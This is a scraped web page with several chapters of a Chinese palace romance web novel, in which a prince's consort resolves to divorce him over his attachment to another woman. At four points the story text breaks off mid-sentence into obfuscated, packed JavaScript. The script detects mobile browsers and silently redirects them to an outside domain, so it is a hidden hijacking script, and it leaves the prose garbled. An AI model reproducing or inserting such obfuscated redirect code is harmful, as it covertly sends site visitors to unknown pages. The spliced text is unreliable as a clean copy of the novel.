侍女打千去了,到诸微月耳边私语一道,半晌端了盏牛乳茶来:“王妃说您不必介怀,听闻您爱喝牛乳茶,便喊厨子备下,也不晓您用不用得惯。” 沈玉姝心中歉意更深了,起身遥遥对王妃行了福礼。 她的视线在厅里转了一圈,落在一张空的席位上。 何家嫡小姐身子亏欠,京中席面多半都是给何之纯下帖,想来这便是何之纯的那张位置了。 沈玉姝淡淡敛下眼,咬了一瓣橘子吃。 微酸的味道立刻在舌尖蔓开了。 谁管她。沈玉姝瞥过那张空位如是想着。 忽然一道脆生生的声音在不算闹的宴厅里响起:“诶,何小姐怎么没来?” 她声音落下,宴上人纷纷止了声息。 知道内情的几家夫人小姐面色有些不自然,纷纷小心向沈玉姝投来好奇的目光。 毕竟,太子殿下未赴宴,现下宴上身份最尊贵的当属恭王。 恭王无故离了宴,消息稍微灵通点的人就都知晓了。 在视线中心的沈玉姝微微抿了唇,目光向说话人看去,是个穿石青色袄子的脸生女人。 来了。 沈玉姝淡淡想着。 她早料到今儿个生辰宴上会有一遭,倒也不算意外。 席间气氛一时凝固。 席雯捂着指印鲜明的脸,投来一个幸灾乐祸的视线。 不管是沈玉姝下不来台,还是有人和她一个下场,她都高兴。 有个蠢货替她说话正好。 忽然外头一阵喧闹,打断了里头凝固的气氛,也断了众人各自打算的算盘。 礼官高唱道:“恭王殿下到——” 沈玉姝随意投了目光过去,却见到被尚琢半抱在怀里、脆弱得好像要飞走般的女人。 也对上了尚琢那双神色复杂的眼睛。 他在看她。 沈玉姝微微怔住。 尚琢看着沈玉姝那张芙蓉面,脸上没有一丝怒意,投来的视线只有一些好整以暇的探究。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14856151|158838||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他眉头倏然一皱。 身为妻子,夫君与外女相触,她不应该生气才是吗? 如今不在乎的样子,如何是一个合格的妻子。 忽然何之纯轻咳两声,分走了尚琢的思绪。 他瞧着女人脆弱的眉眼,想起适才到何府的事。 * 何府落在静沂街,离平亲王府有数里距离。 一路上尚琢坐立难安。 刚从侍女口中知晓,何之纯被关在后院断水、断食的时候,他只觉浑身血液都凝固了。 他知晓何之纯在何府不受待见,甚至可以说颇受虐待。 这些何之纯却从来不曾与他说起,都是他在何之纯偶然的额只言片语中拼凑出来的。 他怜惜女人的懂事坚强,不免多了几分保护欲。 更何况何之纯幼年不顾自己体弱,在冬日跳下池塘救他。 这般善良的女子,只因由瘦马所出,就不受何府上下喜欢,他如何看得过去。 如果他不去何府,何之纯的命都不一定保得住。 相较之下,沈玉姝作为正室的体面……只能先委屈一下了。 时间会证明很多东西,大家迟早会知道,他只会有沈玉姝这一个王妃,坊市的风言风语自然就会消散。 马车将一到何府,尚琢便快步掀帘下了车。 “何人擅闯侍郎府!” “滚开。”尚琢冷着眼,出示了腰牌,一路闯入了何府。 侍卫一见恭王的腰牌,立刻吓得战战兢兢跪下行礼。 还是一个有眼色的指挥了人:“快去报告老爷!” 传信的侍女早告诉了尚琢,是何之纯关押的位置。 尚琢冷眼走到后院西厢房,抬脚踹开了木门,就看见缩在角落里,颤着身子、脸色苍白的女人。 何之纯身上衣衫单薄,眼圈红着,又不敢哭出声,见到尚琢的身影,一瞬间只觉得自己在做梦,眼泪转了又转,半晌泪如雨下。 尚琢看得心疼,软着手将人抱进怀中:“别怕,本王来了。” 他的手环过女人的腰,就发觉女人又瘦了一圈,原在恭王府养的那点肉全没了。 何之纯身子弱,如今何府不给吃不给喝,药也断了,这根本就是在杀人! 尚琢怒不可遏,却发现何之纯抖着手不敢抱他,她哆嗦着唇抹着泪:“对不起……对不起……我不是故意的……” 尚琢眉头一拧:“什么不是故意的?” 他攥住女人的手,这才发觉何之纯原本白皙纤长的直接青肿异常,一看便是受了刑。 尚琢捻着她的手指,低骂一声:“这是谁弄的。” 何之纯恍若不闻,只摇着头,眼泪大颗大颗落下:“丽妃娘娘对不起……我没有想打扰殿下和王妃……对不起……” 都到了这,尚琢还有什么不明白。 他原以为何之纯回府是她自己的主意,不想却是母妃逼迫,让她陷入如今境地。 外面喧闹一阵,何侍郎和夫人匆匆赶来,看到里面场景一时失语。 何夫人哑着嗓子:“怎么……怎么会成这样?” “你们做了什么,自己不清楚么?”尚琢冷声说着,一把抄过何之纯的膝弯,大步往外走去。 行过二人身边,尚琢凉凉开了口:“这件事,你们最好给我一个解释。” 好半晌,何侍郎结舌与夫人说:“……我不是只让她在后院好好反省,学学女工么,怎么就成这样了?” 何夫人拧眉:“昨日不是还好好的?” 15. 第 15 章 尚琢的思绪收回,复而抬起眼,视线落在了沈玉姝身上。 她已经没在看他了,而是略低着头细致地和旁边的人说话。 尚琢有些不虞地皱起眉,何之纯出了事,他自然要去救人,沈玉姝何至于气至现在。 当真没有一点容人之度。 尚琢敛着眼,松开了揽在何之纯身上的手。 罢了,此事到底是他违约在先,他便退一步,想来沈氏也没了理由再多说。 他向沈玉姝的方向望去,却见沈玉姝微微抿上的唇,似乎听见了什么,露出有些为难的表情。 他确也没猜错,沈玉姝的确有些为难。 她无意识卷着手上的云水蓝帕子,纠结地瞧着温慧,不知道该怎么说。 温慧淡淡一笑:“不用紧张,我就是随便问问,尚琢与何之纯的事如今人尽皆知,你如何想?” 这是她第一次在人前提起对尚琢的打算,有些难说出口。 她纠结着,手上缠着帕子的动作不觉用力一些,牵动了伤口。 沈玉姝手一抖,没忍住皱着眉嘶了声。 她想起书肆东家给她讲的故事,心里忽然又冒出一点勇气。 毕竟……她又不是过错方,做什么要紧张? 沈玉姝这么想着,几乎不察地只冒三个字:“要和离。” 她话音落下,就安静敛下了眼睛,垂眸看着杯中有一点涟漪的茶盏。 如果温慧不赞同的话…… ——那她也要和离。 反正她已经下定了决心,谁说都没用。 “姲姲长大了。”温慧莞尔一笑,“你既然想,那姐姐就帮你。” 沈玉姝微微怔住,随即弯起一双漂亮的鹿眼:“谢谢姐姐。” 她心头的石头骤散,不禁舒了一口气,也总算放过了缠着伤口的方帕。 ——打结的尾巴已经被拧的不像样。 沈玉姝下意识地抬起眼,往尚琢二人的方向看去。 意外对上了视线。 沈玉姝拧着细细的眉,厌烦地收回了眼,烦。 她未受伤的那只手捧着茶盏暖手,厅里安静得过分,外面两人的对话声不可避免地落入耳中。 “你身子不好,但既然要来,便仔细注意着,本王唤人陪着你,有什么不舒服就与她说。”尚琢声音惯来淡淡的,沈玉姝懒得去看,不知道他是个什么神色。 他话音落下,就听何之纯低低应了一声,随即响起一点低声的骚乱。 想来是何之纯进来了。 沈玉姝这么猜着,放下了手中的茶盏,往前看去,便看见何之纯一副恹恹捧心的脆弱模样,半搀着侍女走上前规矩行了礼:“臣女请王妃安。” 厅内各色贵女神色各异,视线往二人身上移来移去地瞧。 沈玉姝轻轻扯了一下唇,对各色视线视若无睹。 她随手勾了一下方帕的尾巴。 随意对上一个视线最明目张胆的,大方看过去,浅浅露出一个笑。 把人吓得脖子一缩,不敢再看了。 沈玉姝轻哼一声,就听前头何之纯还在絮絮解释着:“臣女身子不适……” “行了。”诸微月不耐地打断了她的话,“哪来的坐哪去。” 说着不等她起身,一双丹凤眼便是一扫:“开宴。” 她话音落下,几个心思活络的便遥遥开始祝酒,祝酒词一句跟一句。 气氛的活跃,就显得中间的何之纯不合时宜了。 这下看热闹的,视线就从二人身上落到了何之纯一人身上。 毕竟京中贵女多半都是要联姻的,没人想看到自己的夫君,去豢养一个来路不明的外室女。 律法不允、道德更是不允。 沈玉姝就是要这样的结果,她托着腮好整以暇地瞧着何之纯,对上视线便露出一个甜甜的笑。 两颗小虎牙分外明显。 沈玉姝用受伤的那只手,轻轻拢起茶盏,遥遥和尴尬站在原地的何之纯单方面碰了个杯:“玩得高兴。” 何之纯面色一僵。 *** 宴厅里的地龙烧得闷热,沈玉姝被熏得额角发疼。 她应下最后一杯敬酒,一口闷了干净,便寻了一个借口躲出去了。 她沿着廊柱一路走,到了一个开阔的空间,坐在美人靠上,轻轻呼了一口气。 平亲王府的酒烈,她喝了不少,嗓子里烧得慌,有些不舒服。 沈玉姝摁着眉心,忽然觉出一丝异样。 宫中为了避免一些武将喝多了闹事,宴会上都不会备烈酒,女眷边更是只备着淡果酒。 那日中秋宴,她不过喝了一盏有余,远远没有今日喝得多,怎么会醉成那般记不清事的地步? 沈玉姝心里生出几分荒谬,像宽阔的海上起了风。 她又无意识地绕着手上的帕子卷起来,短短的结尾巴被蹂躏一圈。 今日发生的事有些杂乱,沈玉姝精神有些恹恹。 此处风正好,她半阖着眼,迷迷糊糊睡了过去。 她做了个梦。 梦里她把尚琢和何之纯全抓到书肆里去,用麻绳绑着,威胁着书肆那个样貌好看的东家不准报官,然后拿着村子里赶马的鞭子把两个人狠狠抽了一顿。 最后把马鞭放到东家手上,鼓励地说:“打吧,他们很喜欢的。” ——沈玉姝睁眼的时候意犹未尽。 她砸吧砸吧嘴,对上一双陌生的眼睛。 沈玉姝:“!” 侍女有些不好意思地笑了笑:“王妃,我家王妃邀您过去说说话。” 在这里被称为“我家王妃”的,也只有诸微月了。 沈玉姝迷蒙地眨眨眼,讷讷地“喔——”了一声。 然后抬头望向天色,日头有些偏了,也不知道她睡了多久。 沈玉姝站起身,稍微整理了一下有些凌乱的发髻衣裳,跟着侍女往后院走去了。 平亲王府的后院大,种了各色的花草,游廊也较常的长了数倍。 侍女将她一路领到正屋,轻轻叩响了门:“王妃,恭王妃来了。” 里头传来一声“进”,侍女便推开门,微微欠身:“请。” 沈玉姝低声道了谢,走进屋内,一抬眼,除了诸微月,还意外见到了温慧。 她一下傻了,连行礼都忘了。 诸微月噗嗤一笑:“倒真像你说的,是个呆的。” 温慧弯起眼睛:“还不快问好?” 沈玉姝这才回过神,连忙行了个粗糙的礼。 索性诸微月也没有和她计较的意思,便招呼着她过来坐下。 沈玉姝手足无措地坐在下人搬来的圈背交椅上,看了看温慧,又看了看诸微月。 她不认识诸微月,也不知道温慧和她相识,今日凑到一块,她当真懵懵的。 尤其是刚还做了那么个梦。 想到这,沈玉姝没忍住又回味了一遍那个奇怪的梦,觉得还挺好。 “听慧慧说,你心中有了些决算,不若与本妃说说?”诸微月忽然开口,唤回了沈玉姝的思绪。 沈玉姝稍的愣住。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14868127|158838||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么决算? 她对上温慧的视线,露出些不解。 温慧笑了:“姐姐这么说,玉姝怕是懵了。” 诸微月无奈:“慧慧说你对这桩婚事有自己的决断,本妃想听听是什么。” 沈玉姝明白其中意思了,这是冲着和离之事来的。 她咬着唇,纠结地盘算其中门道。 听诸微月的话,温慧似乎并没有多说,只透露了一些。 可是为什么? 沈玉姝不知道诸微月的立场,她是来劝自己的吗? 思绪绕了又绕,还是对温慧的信任站了上风,她低着头,有些迟疑,咬字却清晰:“虽然还是一点打算,但是……不瞒娘娘说,臣女是想和离的。” 她话音落下,立刻松了一口气。 又抬头小心看着诸微月的神色,不知道她是个什么态度。 但沈玉姝什么也没看出来,只觉得好像平亲王妃的神色更绷紧了些。 是……拒绝吗? 沈玉姝微微拧着眉,觉得有些棘手。 良久才听平亲王妃叹谓一声:“你比我有勇气。” 沈玉姝松了口气。 我朝女子地位的确较前朝稍高,待和离也更加宽松。 可京中联姻,势力交错,牵一发而动全身,即便嫁非两人,也断不敢骤然和离,唯恐连累了家中,更遑论与皇家联姻,更加有圣上一层在。 若是和离了,难免忧心圣上不喜。 诸微月当年就是这般忍了下来,一忍便是数年。 如今她羽翼丰满,便想庇护一下相同遭遇的女孩。 沈玉姝敛着眼:“是未成之事,原不该与娘娘多说,可如今娘娘既然问起……” 她忽然起身,长身而拜:“臣女斗胆请求娘娘援手。” 她字句恳切:“臣女与恭王之事人尽皆知,想必娘娘也有所耳闻,臣女说和离,便是深思熟虑结果,后果臣女愿一人所担,只盼娘娘能替臣女与陛下说道一二——” “臣女感念娘娘之恩,日后若有所需,臣女定当报答娘娘。” 沈玉姝甚少这般说话,眼睛红了一圈。 诸微月与圣上关系甚好,她若是想顺利和离,诸微月是她如今唯一的办法。 沈玉姝不愿错过这般机会。 诸微月微微一笑:“如何报答?若是你爹与本妃说这般话,本妃还会好好考虑一番。” “臣女如今为私事所求娘娘,便不该为私欲将家族带下水。”沈玉姝咬着唇,旋即道,“娘娘便当臣女是探路石,成了,是一桩好事,不成,娘娘也可规避一二。” 她斗胆猜,诸微月也含着和离的心思,所以才会来问她的打算。 沈玉姝瞧着诸微月看不清情绪的眼,掂量着小心问:“臣女嫁妆不少,是娘亲留给臣女的……” “和离后……臣女都给娘娘?” 良久,诸微月骤然笑出声:“本妃要你那点嫁妆做什么。”她笑着伸出不稳的手去指温慧,“你这妹妹当真有意思。” 温慧轻笑不语。 诸微月瞧着沈玉姝懵懵的脸,好笑道:“好了,本妃答应你,帮你和离。” 她视线落在沈玉姝右手上的方帕上,云水蓝的色调下绣着不明显金色暗纹,印着烛火一转,就显出一些颜色来。 诸微月眉头微挑,如果她没记错,这种缎子是宫里头绣娘专做的,供给皇室。 这云水蓝色,更是只供那位太子殿下的。 她弯起唇,觉出了几分味道。 这沈玉姝,倒是有意思了。 16. 第 16 章 嫁妆到底没送出去、 沈玉姝弯着手上的帕子,对着光瞧了瞧,没看出什么不一样。 她想起适才诸微月笑盈盈问她的话—— “这帕子是哪里来的?” 她如是答了:“朋友送的。” 沈玉姝走在有些偏僻的小道上,有些不解地卷起帕子往外扯了扯。 感觉没什么不一样。 可能是这帕子好看,所以平亲王妃才多问一句? 沈玉姝这么想着,只身往望桩*走去。 秋兰在她进了平亲王府后,便先回了恭王府,替她备上回去后用的热水和晚膳。 当时觉得还挺方便,现在身边没个人,她连路都找不着。 沈玉姝在平亲王府这条人迹罕至的小路绕了一圈又一圈,走的发晕。 她觉得自己先前应该问个路。 她绕了小半个时辰,依旧毫无头绪。 沈玉姝觉得自己下次不应该对自己的方向感又太多的信任,还是老实麻烦人家的下人轻松。 她心里划小圈圈,默默抹泪,转到了一条新道。 道的前头站着一个男人,好似在等人,穿着剑袖长袍,看起来像练武的。 应该是平亲王的下官吧? 沈玉姝有些踌躇,如果不是小厮的话,二人走一块,被人看到难免说闲话。 可是……若错过了这人,沈玉姝感觉晚膳前她都不一定走得出去。 沈玉姝犹豫半晌,最终还是走上前,隔了三尺远,轻声问:“打扰一下,请问你可以给我带个路吗?” 她的声音轻飘又甜,却给下官吓了一跳。 陈肆,也就是下官,转过身,看到沈玉姝的脸时候,骤然松了一口气。 他适才在这寻了沈玉姝半晌也没寻到,唯恐她出了事,他回去挨罚。 陈肆正色:“小姐请往这边走。” 这就答应了? 沈玉姝愣愣点头,安安静静跟在陈肆身后,不出一刻钟就到了望桩。 望桩里头只剩一辆马车,车沿前的“珏”字令牌,安安静静悬在那。 恭王府的车早便走了。 这个认知让沈玉姝纠结咬起下唇,细细的眉毛皱起。 见此景,陈肆目光不经意投向某个角落,得到授意后与沈玉姝道:“小姐不嫌弃的话,坐我家主子车回去吧。” “啊?”沈玉姝抬起眼,眼底有些懵。 陈肆指向前头那辆华贵的马车,比恭王府的要大上近一倍。 正巧起了风,刮动着令牌左右轻晃,一个“珏”字清楚落在沈玉姝眼底。 京中有身份的“珏”字,仅那太子殿下一人。 “这……”沈玉姝有些纠结,“不太方便吧?” “没事的,我家主子还要一些时候才会走,正好送您回府。”陈肆这么说着,前去帮她放下了马凳。 沈玉姝一时不知道该震惊陈肆是太子的下官,还是太子殿下的热心。 但陈肆连马凳都放下来了,而且沈玉姝的确没有别的法子,只得规矩应下,与陈肆道了谢:“劳请您回去替我谢过殿下。” 陈肆露出一个有些憨厚的笑:“小姐您请。” 沈玉姝走进车厢,里头有一股又沉又淡的香味,沈玉姝平白觉得有些熟悉。 她听到外头陈肆说道:“好生送沈小姐回恭王府。” 车夫答应一声。 随后车厢一阵极轻的起伏,便往外驶去了。 见马车走远,黑暗角落里的男人才缓步走出。 他穿着一身云水色长袍,腰佩白玉,布料上的金线暗纹在太阳下映出一点不甚明显的颜色。 赫然与沈玉姝从书肆东家那得的帕子一模一样。 陈肆躬身行礼:“殿下。” 尚珏颔首,眸光微动:“怎么这么久才寻到人。” 陈肆苦着脸:“沈小姐好像迷路了,属下找不到她。” 闻言,尚珏极轻地笑了声,眼底也含着稀碎的笑意。 他好想看到了沈玉姝昏头昏脑找路的模样,原本被诸微月唤来府中,那点不甚明朗的心情也就散了。 良久他才渐渐拢去笑意:“走吧。” 便往后院走去。 ********** 马车一路平稳地往恭王府驶去,沈玉姝坐在车厢里,坐都不敢坐全乎。 车厢里浸满了陌生男人的味道,好像严严实实把她包裹起来,是有点冲击的香味,与太子殿下本人温柔的模样大相径庭。 沈玉姝这么想着,耳朵更红了一些。 她倒不是忧心尚琢的看法,只是觉得…… 沈玉姝腰有些酸,便小心地换个姿势,将身子靠在厢壁上,继续着适才没想完的思绪。 ——担心尚珏会不会沾上些麻烦? 毕竟她之后要与尚琢和离,会不会因此影响了尚珏的名声? 沈玉姝抿着唇,有些纠结。 马车渐渐停下,外头车夫轻声道:“沈小姐,到了。” 沈玉姝应下,稍微收整了,卷起车帘走下车,临了进门前,她还是没纠结明白,又折回来与车夫问道:“送我回来,殿下会不会不方便。” 车夫微愣,豪放地笑了两声:“小姐您放心吧,殿下不会在意这些的,您快进去,外头冷。” 他不着痕迹地动了动肩颈,这车夫衣服太小,绷得他浑身难受。 沈玉姝迟疑地应了下来,一步三回头地进了恭王府。 既然都这么说了……那应该不会出什么事吧? 沈玉姝如是想着,犹豫地走进了门。 将一踏入院门,早候在门口的苏进便急忙迎了上来,他往身后看去,太子的马车还安静地停在原地。 他打了个千儿道:“王妃,王爷请您过去呢。” 沈玉姝眉头微微皱起,环视一圈却没看见秋兰的身影,便问:“秋兰呢?” 苏进舌头打了个结,腰躬得更深了:“王妃还是先跟奴才来吧,待会便知道了。” 沈玉姝的脸骤然沉下,一言不发地看着苏进,良久:“带路。” * 一路上,苏进将事情与沈玉姝说明白了,大概就是秋兰和何之纯院子里的人起了冲突,双方都对主子冒犯了几句,原是件小事,不知怎么的就捅到了王爷这,发了不小的脾气。 沈玉姝冷笑一声,王妃的陪嫁丫鬟因为冒犯了外室的下人受罚,这种事也只有尚琢做得出来了。 成梁堂 沈玉姝踏进屋内,一眼便瞧清了里面的样子:尚琢坐在主位,身侧的何之纯身穿白玉色襦裙,低低拭泪,秋兰跪在厅中,头发凌乱,头发凌乱,一眼便是受了刑。 见她来,尚琢淡淡开了口:“既然来了,就商议一下如何解决吧。” 沈玉姝充耳不闻,垂眸扶起秋兰,细细擦干净她面上的泪才缓缓道:“王爷想怎么解决?” “下人冒犯主子,按律当发卖。念秋兰乃是你陪嫁丫鬟,便遣回沈府,不再追究。”他说完顿了顿,似是终于想起来沈玉姝这个正牌主子,复而又道:“你觉得呢?” 沈玉姝还没说话,秋兰便先哭了起来,她扑通跪下:“王爷,奴婢不能走,奴婢不能让小姐……不能让王妃一个人,王妃自小便是奴婢伺候,奴婢不能走!” 尚琢面不改色地系呷了口热茶,毫不在意道:“一个下人罢了。” 沈玉姝敛下眼,抓起秋兰的手臂:“起来。” 然后看向尚琢,冷笑一声:“那王爷想用什么理由遣返秋兰?” 尚琢道:“冒犯主子。” 沈玉姝道:“是吗,哪个主子?” 这下尚琢的手一顿,没说出话。 他与何之纯,是他们亲口所言——是朋友。 即便是情人,何之纯也不过是个名不正言不顺的外室,何来主子? 尚琢面色有些难看,稳着手将茶盏放下,好一会道:“在恭王府中,你与纯儿平级。” 何之纯微微勾起唇,细弯的眼线衬的她一双桃花眼更加风情,一瞬不眨地瞧着沈玉姝,她无声做了几个口型—— 你看,他还是在乎我。 沈玉姝攥紧右手,指尖捻起,碰到了掌心覆上的帕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14872470|158838||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子。 她轻轻呼了口气,一字一顿地说:“尚琢,我们和离。” 话音落下,四下静默。 门口的苏进扑通跪下,抖若筛糠。 他一直以为这王妃是个软的,没想到是不鸣则已。 何之纯也没想到,她安排的这一出戏还有意外收获,她本来只想让尚琢疼她怜她,毕竟这桩婚事是圣上指婚,与寻常嫁娶不同。 只是没想到,沈玉姝居然会提和离。 这事传到宫里,她难免会受些罪,那又如何? 尚琢和她和离之后,就会立刻娶了她,这点苦楚算什么? 何之纯笑意更浓,柔嫩的掌心轻轻抚上尚琢的手臂:“王爷莫生气,好生与王妃谈……想来,王妃是仔细考虑了吧。” 她这么说着站起身,带着一干下人出了成梁堂,屋门轻轻关上。 琉璃窗花隔绝了小半的光,屋里浮动着跳跃的影子。 尚琢一双细长的眼里头不含什么情绪,食指腹和大拇指腹反复揉捻:“你此话当真?” “当真。”沈玉姝站累了,在下首一张圈椅上坐下,手边有苏进早奉好的茶。 “如果你是为了今日生辰宴的事气愤,本王可以解释。”尚琢淡声道,“纯儿遇到了危险,本王若不去,她性命难测,人命关天,你应该有些衡量。” 沈玉姝面色不改:“恭王殿下,如果你真的认为何之纯遇到了危险,你应该去报官。” “你不知道她……” “你想说何侍郎亏待自己的庶女吗?”沈玉姝打断他的话,“京中贵女人人都知晓一二,大家都只听一耳朵,你倒是信的真情实感。” 她笑:“你若觉得何侍郎德行有亏,你应该去找大理寺,去呈折子指摘何侍郎家风有亏、后宅不宁,而不是与一个未出阁的女子不清不楚。” 沈玉姝说完,一直绷着的一根弦总算松了。 她从大婚早晨开始,一直延续到现在的委屈,终于寻到了一个宣泄口。 她眼尾有些烧红,却没有落下泪来。 都是一些车轱辘说坏的话,沈玉姝在心底说倦了,如今说到尚琢面前,她只觉得整个人都轻松多了。 沈玉姝缓了下呼吸,也没去看尚琢的表情:“况且,我不是为这事才提的和离。” 尚琢攥着木质的扶手,薄薄的嘴唇抿成一条线,好一会才沉声道:“那是什么?” “我根本就不在意你有没有妾室、有没有外室,从来的那日就是这样。”沈玉姝平静地说,“我只想要一份尊重,作为一个正室的尊重,你若喜欢何之纯,过个一年抬进来便是,侧妃我也不在意。” 她稍缓了口气:“但你没有,新婚开始就没有。” “尚琢,我与你是联姻,所以我只需要尊重,可是你居然觉得,我和何之纯在这恭王府是平起平坐的。”沈玉姝看着他的眼睛,里面有一些她读不懂的情绪,索性她也不在意是什么,“我本来是想先与家中言明,商议好了再与你提出这事,可是适才之事,我真的一天都忍受不了了。” 从尚琢的方向看去,沈玉姝的脸是逆着光的。 他恍然想起新婚那天夜里,第一次挑起盖头、看见沈玉姝模样的时候,满眼都是期待和憧憬。 他那时满心的厌烦忽然就没说出去了,只觉得养个好看的玩意在府中也无事。 他从没想过沈玉姝会和他和离,毕竟这桩婚事不是沈家算计又算计才得到的吗?可如今沈玉姝居然与他提了和离? 尚琢心里涌出一些怒意,觉得沈玉姝有些不识好歹。 他一字一顿道:“你别后悔。” 沈玉姝好笑:“后悔和你和离?” 她轻轻握着手心帕子:“有人与我说,我的决定不一定好,也不一定坏,但做了,就会有不一样的际遇。” 她弯起一双鹿眼,抵着虎牙笑起来:“我就算嫁给乡野村夫,也是要嫁给十里八乡最好看最温柔的村夫。” 沈玉姝站起身,觉得与他说的差不多了,往外走的步子忽然又顿住:“你不比你皇兄好看,也不比他温柔,我为什么要后悔?” 17. 第 17 章 (没写完的一章、粗糙的一章、不和我心意的一章,别看别看!!后天看!!!对不起呜呜呜,务必后天再看!) 沈玉姝带着秋兰径直回了主院,从药箱里挑出金疮药细致给她上起药。 她其实也不知道自己刚才为什么会说出那番话,可能是因为太子殿下人比较好呢? 她无意识地咬起唇,手下的力度就禁不住重了些。 “嗷!”秋兰一个激灵。 “抱歉抱歉!”沈玉姝连忙回神,专心细致地给她上完了药。 秋兰肿着一张脸,碎嘴嘟囔着:“小姐……礼尊嘟要活他活礼么(你真的要和他和离吗)?” 沈玉姝点点头,起身打开了立柜,收拾着自己常穿的衣服。 其实也没什么收拾的,她嫁来恭王府的日子颇短,新的还没来得及买。 她一边收拾,一边想起前两天温慧在坊间给她做的衣服,都是好样式、好料子,过段时间尘埃落定了,她还得去一趟跟掌柜的说寄到沈府去。 “窝jio得也濠(我觉得也好)。”秋兰嘿嘿笑两声,不小心又牵动了伤口,嘶了声,“可素小姐则莫怜青(可是小姐这么年轻)……” “先不说我与他根本没有夫妻之实,更何况,我如今名声这般差,再相看也遇不上好人家,我只想寻个心爱的、安分的,就算是村夫也行。”沈玉姝摇头晃脑地叠好衣服塞进小包袱里。 她与尚琢说的那关于乡野村夫的话是真的,如今见了尚琢这般模样,她可不想再嫁进京中权贵人家,还不如找个帅气村夫,做个小生意吃喝不愁。 沈玉姝将首饰塞巴塞巴进包袱里,她这么貌美,去哪不得被夫家捧着,结果竟然还在这受他尚琢的气?! 沈玉姝又生气了,对着软和的包袱砸了几拳——当尚琢锤。 秋兰似懂非懂:“我也jio得小姐嫁什莫愣都濠(我也觉得小姐嫁什么人都好)。” 沈玉姝笑出声:“嗯,到时候嫁个喜欢的,就给你买块地,住隔壁。” “濠!”秋兰吼吼笑出声,“不过小姐肿么现窄收拾东嘘罗(不过小姐怎么现在收拾东西了)。” “和离一时半会解决不完,过几日想来还要进宫,皇后皇上都要见一遍,早些搬出去,也省的这几日再见到他们两个。” 秋兰明白了,于是便也起身跟沈玉姝一起收拾着。 东西不多,两个人常穿的衣裳和首饰胭脂,不过片刻便收拾好了。 忽然外头传来敲门声,秋兰前去打开,是苏进。 沈玉姝停下手上的动作,弯起唇:“苏公公。” 苏进”诶”了声:“奴才来替王爷传话。” 沈玉姝颔首。 “王爷说王妃既心意已决,他便应下,皇后娘娘丽妃娘娘那边他会去说的,和离后的补偿,按律法双倍赠与娘娘。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14872471|158838||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”苏进说。 “知道了。”沈玉姝知道尚琢一定会答应,倒也不意外,便安静拿起手上的包袱带着秋兰往外走。 苏进吓了一跳:“王妃您这是……?” “回家。” 苏进汗颜:“这怕是不妥,毕竟和离未成,外头知晓总是不好……” 沈玉姝闻言停下脚步,唇畔露出一些讽意:“这点你就觉得不好了?之前那桩桩件件怎么没觉得不好?” 她耻笑一声:“站着,不许跟着。” 说完便带着秋兰往外走去,只剩苏进一人焦头烂额留在原地。 这叫什么事啊!传出去了,王爷不得被人笑死! 沈玉姝沉着脸在前面走着,秋兰几步跟上来:“小姐,我们怎么回去啊?” 恭王府离沈府挺远,他们要是这么徒步走回去,被人看到了传出去多难听。 沈玉姝倒是不在意,终于能离开恭王府,她心情比谁都好。 “再难看还能有在恭王府的时候难看?” 做了半月的王妃就和离,已经是最大的笑话了。 秋兰不敢说话了。 穿过前院,还未过垂花门,就看见一辆华贵的马车大喇喇停在门前,占了半扇门的地。 赫然是尚珏的马车。 先前那车夫原本在逗马玩,一见她们出来,便急忙迎上来:“沈小姐,太子殿下命小的送您回沈府。” 18. 第 18 章 沈玉姝走在回主院的路上,她的下巴仍旧隐隐作痛,火辣辣泛着疼。 尚琢那下是一点没收着力,沈玉姝只觉得骨头都像碎了一般。 她曲着手指虚虚揉着下巴,冰凉的温度适时缓解了一点疼痛。 沈玉姝不知道尚琢突然发什么疯,要和离,他分明该是最高兴的那个才是。 算了,他本来也是个疯子。 沈玉姝冷冷想着,走快几步进了主院。 正屋里,五六个魏紫长袍的人忙前忙后走着,屋里充斥着颇浓的药味。 玉兰茫然地站在角落,不知发生了什么,怎么来了这么多人。 沈玉姝认得太医的服制,可正是如此,她才感到奇怪。 哪来的人呢? 苏进看出她的疑惑,适时地上前一步:“回王妃,都是王爷找来的。” 